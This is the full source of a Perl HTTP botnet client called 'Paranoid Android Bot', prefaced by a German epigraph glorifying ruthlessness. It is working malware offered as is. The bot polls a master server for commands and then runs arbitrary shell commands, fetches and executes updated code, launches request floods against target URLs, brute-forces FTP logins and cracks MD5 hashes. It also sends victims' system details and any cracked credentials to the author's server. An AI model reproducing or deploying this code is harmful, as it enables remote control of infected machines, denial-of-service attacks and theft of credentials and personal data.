./c0de/perl/parandroid.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
347.
348.
349.
350.
351.
352.
353.
354.
355.
356.
357.
358.
359.
360.
361.
362.
363.
364.
365.
366.
367.
368.
369.
370.
371.
372.
373.
374.
375.
376.
377.
378.
379.
380.
381.
382.
383.
384.
385.
386.
387.
388.
389.
390.
391.
392.
393.
394.
395.
396.
397.
398.
#! /usr/bin/perl
########################
#
# Paranoid Android Bot
#
# by Perforin | Dark-Codez
# 
# Perl HTTP Bot
#
# Checking commands in a textfile on a
# webserver. Commands can be changed 
# in the control-center!
#
########################
 
use LWP::UserAgent;
use LWP::Simple;
use Net::FTP;
use Digest::MD5 qw(md5 md5_hex md5_base64);
 
@decoded = ();
 
print <<EOF;
 
=================================
Paranoid Android Bot  by Perforin
=================================
 
Wenn sich ein Mensch dazu entschliesst,
sein Dasein einzig und allein dem Guten 
und dem Wohle anderer zu widmen,
so wird er danklos sterben und vergessen werden.
Wenn er sein Genie jedoch nutzt,
um Schmerz und Tod ueber unzaehlige Millionen zu bringen,
so wird sein Name durch die Jahrtausende getragen.
Ruchlosigkeit ist der Schmach daher stets vorzuziehen.
 
EOF
 
####### COUNTING BOTS! #######
$getTHEip = 'http://www.wieistmeineip.de'; # Do not change!
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$getTHEip);
$result = $agent->request($request);
$getTHEip =~ s/.*\///;
$getTHEip = 'ip.txt';
open(lookME, ">", "$getTHEip");
print lookME $result->content();
close(lookME);
$need = "ip.txt";
open(IP,"<","$need");
@IN = <IP>;
close(IP);
unlink "ip.txt";
@iplist = ();
foreach $line(@IN){
 if($line =~ /(\d+\.\d+\.\d+\.\d+)/){
   push(@iplist, $1);
 }
}
$myIP = "\nHello, I am from @iplist";
$myIP = "http://perforin.coderz-heaven.de/Wordlists/counter.php?content=$myIP"; # COUNTING
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$myIP);
$result = $agent->request($request);
$myIP =~ s/.*\///;
@IPRES = $result->content();
 
while (1) {
#######CHECKING COMMANDS! #######
sleep 5;
$getit = 'http://perforin.coderz-heaven.de/Wordlists/befehle.txt'; # Master Server
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$getit);
$result = $agent->request($request);
$getit =~ s/.*\///;
@result = $result->content();
 
foreach $line (@result) {
if ($line =~ m/MAKE/i) {
print "\n"."[+] Making File..."."\n";
&makeFILE;
} elsif ($line =~ m/DOWNLOAD/i) {
print "\n"."[+] Downloading File..."."\n";
&downLOAD;
} elsif ($line =~ m/STOP/i) {
print "\n"."[~] Waiting for commands..."."\n";
} elsif ($line =~ m/START/i) {
print "\n"."[+] Start Flooding..."."\n";
&getURL;
} elsif ($line =~ m/EXECUTE/i) {
print "\n"."[+] Executing Shell Command..."."\n";
&exeCUTE;
} elsif ($line =~ m/UPDATE/i) {
print "\n"."[+] Updating Bot..."."\n";
&upDATE;
} elsif ($line =~ m/FTP CRACK/i) {
print "\n"."[+] Cracking FTP..."."\n";
&ftpCRACK;
} elsif ($line =~ m/MD5 CRACK/i) {
print "\n"."[+] Cracking MD5..."."\n";
&md5CRACK;
} elsif ($line =~ m/MILW0rm/i) {
print "\n"."[+] Checking milw0rm.com..."."\n";
&mille;
} elsif ($line =~ m/PANIC/i) {
print "\n"."[+] PANIC! Disconnect..."."\n";
&panic;
} elsif ($line =~ m/SPY/i) {
print "\n"."[+] Spying Victim..."."\n";
&spy;
}
}
 
####### MILWORM CHECKING! #######
sub mille {
$getMILLE = 'http://milw0rm.com/rss.php'; # Master Server
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$getMILLE);
$result = $agent->request($request);
$getit =~ s/.*\///;
@result = $result->content();
open(RES,">","mille.txt");
print RES @result;
close(RES);
open(RES,"<","mille.txt");
@inhalt = <RES>;
close(RES);
unlink ("mille.txt");
foreach $shit (@inhalt) {
$shit =~ tr/</ /;
$shit =~ tr/>/ /;
$shit =~ tr/\// /;
$shit =~ s/milw0rm.com//ig;
$shit =~ s/&lt;=/<=/ig;
if ($shit =~ m/title/i) {
$shit =~ s/title/ /ig;
push(@sploits,"$shit");
}
}
$milleFOUND = "@sploits";
$postMILLE = "http://perforin.coderz-heaven.de/Wordlists/milw0rm.php?content=$milleFOUND"; # UPLOAD FTP
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$postMILLE);
$result = $agent->request($request);
$postMILLE =~ s/.*\///;
@res = $result->content();
}
 
####### MD5 CRACKING! #######
sub md5CRACK {
$content=getstore('http://www.milw0rm.com/mil-dic.php','mil-dic.txt');
open(MILE,"<","mil-dic.txt");
@passes = <MILE>;
close(MILE);
@decoded = ();
open(result,">","tar.txt");
for $cracking (@result) {
$cracking =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$cracking";
}
close(result);
open(result,"<tar.txt");
@ddd = <result>;
close(result);
unlink "tar.txt";
foreach $crypted (@ddd) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@hash = @decoded[8];
$hash= "@hash";
$hash =~ s/\r\n//;
foreach $string (@passes) {
chomp($string);
$md5 = Digest::MD5->new;
$md5->add("$string");
$digest = $md5->hexdigest;
if ($digest eq $hash) {
print "[+] Cracked!"."\n";
$md5FOUND = "HASH: $hash\nDECRYPT: $string";
$postHASH = "http://perforin.coderz-heaven.de/Wordlists/md5.php?content=$md5FOUND"; # UPLOAD HASH
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$postHASH);
$result = $agent->request($request);
$postHASH =~ s/.*\///;
@res = $result->content();
}
}
}
 
####### FTP CRACKING! #######
sub ftpCRACK {
$content=getstore('http://www.milw0rm.com/mil-dic.php','mil-dic.txt');
open(MILE,"<","mil-dic.txt");
@passes = <MILE>;
close(MILE);
@user = ("anonymous","guest", "admin", "root");
@decoded = ();
open(result,">","tar.txt");
for $cracking (@result) {
$cracking =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$cracking";
}
close(result);
open(result,"<tar.txt");
@ccc = <result>;
close(result);
foreach $crypted (@ccc) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@url = @decoded[8];
unlink "tar.txt";
for $url (@url) {
$ftp = Net::FTP->new("$url",Debug => 0,Timeout => 5) || die "wtf";
}
foreach $pass (@passes) {
foreach $user (@user) {
if ($ftp->login("$user","$pass")) 
{
print "[+] Cracked!"."\n";
$ftp->quit;
$ftpFOUND = "USER: $user\nPASSWORD: $pass";
$postFTP = "http://perforin.coderz-heaven.de/Wordlists/ftp.php?content=$ftpFOUND"; # UPLOAD FTP
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$postFTP);
$result = $agent->request($request);
$postFTP =~ s/.*\///;
@res = $result->content();
}
}
}
print "\n"."[-] Bruting failed!";
}
 
####### UDATING BOT! #######
sub upDATE {
@decoded = ();
open(result,">tar.txt");
for $updating (@result) {
$updating =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$updating";
}
close(result);
open(result,"<tar.txt");
@bbb = <result>;
close(result);
foreach $crypted (@bbb) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8];
unlink "tar.txt";
for $URL (@decoded) {
my $content=get("$URL");
my @IN = $content;
open(IN,">P.A.B.V1.6.pl");
print IN @IN; 
close(IN);
}
system("P.A.B.V1.6.pl");
exit;
}
 
####### DOWNLOADING FILE! #######
sub downLOAD {
@decoded = ();
open(result,">tar.txt");
for $addy (@result) {
$addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$addy";
}
close(result);
open(result,"<tar.txt");
@INHALT = <result>;
close(result);
foreach $crypted (@INHALT) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8];
unlink "tar.txt";
for $URL (@decoded) {
my $content=get("$URL");
my @IN = $content;
open(IN,">P.A.B.txt");
print IN @IN; 
close(IN);
}
}
 
####### EXECUTING COMMAND! #######
sub exeCUTE {
@decoded = ();
open(result,">tar.txt");
for $addy (@result) {
$addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$addy";
}
close(result);
open(result,"<tar.txt");
@aaa = <result>;
close(result);
foreach $crypted (@aaa) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8];
unlink "tar.txt";
for $COMMAND (@decoded) {
system ("$COMMAND");
}
}
 
####### MAKING FILE! #######
sub makeFILE {
@decoded = ();
open(result,">tar.txt");
for $addy (@result) {
$addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/;
print result "$addy";
}
close(result);
open(result,"<tar.txt");
@FILE = <result>;
close(result);
foreach $crypted (@FILE) {
$crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8..50];
unlink "tar.txt";
open(makeFILE,">P.A.B.bat");
print makeFILE @decoded;
close(makeFILE);
system ("start P.A.B.bat");
 
}
 
####### GETTING URL! #######
sub getURL {
@decoded = ();
open(result,">tar.txt");
for $addy (@result) {
$addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/=@$|![#{}_?&�*��,+;%><~?]^=@$|![#{}_?&�*��,+;%><~?]^/;
print result "$addy";
}
close(result);
open(target,"<tar.txt");
@URL = <target>;
close(target);
for $crypted (@URL) {
$crypted =~ tr/=@$|![#{}_?&�*��,+;%><~?]^=@$|![#{}_?&�*��,+;%><~?]^/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/;
push(@decoded, "$crypted");
}
@decoded = @decoded[8];
unlink "tar.txt";
&Flood
}
 
####### START FLOODING! #######
sub Flood {
$count = 0;
for $URL (@decoded) {
print "Target: $URL"."\n";
do {
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET', $URL);
$result = $agent->request($request);
$count++;
print "Anzahl: $count\n";
} until ($count == 31337);
}
}
 
######### SPY VICTIM! #########
sub spy {
@SPY = ("=========================\n",
"OS: $^O\n",
"UserID: $<\n",
"Username: $ENV{USERNAME}\n",
"Homedrive: $ENV{HOMEDRIVE}\n",
"Systemroot: $ENV{SystemRoot}\n",
"=========================\n\n");
$postSPY = "http://perforin.coderz-heaven.de/Wordlists/spy.php?content=@SPY";
$agent = new LWP::UserAgent;
$request = HTTP::Request->new('GET',$postSPY);
$result = $agent->request($request);
$postSPY =~ s/.*\///;
@res = $result->content();
}
 
####### DISCONNECT BOT! #######
sub panic {
exit;
}
}

Back